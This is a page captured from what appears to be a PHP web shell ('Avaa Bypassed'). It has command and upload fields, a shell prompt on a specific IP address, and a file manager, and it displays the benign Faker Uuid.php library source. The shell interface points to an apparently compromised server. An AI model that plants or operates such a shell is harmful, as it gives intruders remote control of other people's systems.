404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.129.195.113: ~ $
<?php

namespace Faker\Core;

use Faker\Extension\UuidExtension;

final class Uuid implements UuidExtension
{
    public function uuid3(): string
    {
        $number = new Number();

        // fix for compatibility with 32bit architecture; each mt_rand call is restricted to 32bit
        // two such calls will cause 64bits of randomness regardless of architecture
        $seed = $number->numberBetween(0, 2147483647) . '#' . $number->numberBetween(0, 2147483647);

        // Hash the seed and convert to a byte array
        $val = md5($seed, true);
        $byte = array_values(unpack('C16', $val));

        // extract fields from byte array
        $tLo = ($byte[0] << 24) | ($byte[1] << 16) | ($byte[2] << 8) | $byte[3];
        $tMi = ($byte[4] << 8) | $byte[5];
        $tHi = ($byte[6] << 8) | $byte[7];
        $csLo = $byte[9];
        $csHi = $byte[8] & 0x3f | (1 << 7);

        // correct byte order for big edian architecture
        if (pack('L', 0x6162797A) == pack('N', 0x6162797A)) {
            $tLo = (($tLo & 0x000000ff) << 24) | (($tLo & 0x0000ff00) << 8)
                | (($tLo & 0x00ff0000) >> 8) | (($tLo & 0xff000000) >> 24);
            $tMi = (($tMi & 0x00ff) << 8) | (($tMi & 0xff00) >> 8);
            $tHi = (($tHi & 0x00ff) << 8) | (($tHi & 0xff00) >> 8);
        }

        // apply version number
        $tHi &= 0x0fff;
        $tHi |= (3 << 12);

        // cast to string
        return sprintf(
            '%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x',
            $tLo,
            $tMi,
            $tHi,
            $csHi,
            $csLo,
            $byte[10],
            $byte[11],
            $byte[12],
            $byte[13],
            $byte[14],
            $byte[15],
        );
    }
}

Filemanager

Name Type Size Permission Actions
Barcode.php File 1017 B 0644
Blood.php File 806 B 0644
Color.php File 5.03 KB 0644
Coordinates.php File 1.78 KB 0644
DateTime.php File 6.34 KB 0644
File.php File 23.15 KB 0644
Number.php File 1.85 KB 0644
Uuid.php File 1.71 KB 0644
Version.php File 1.51 KB 0644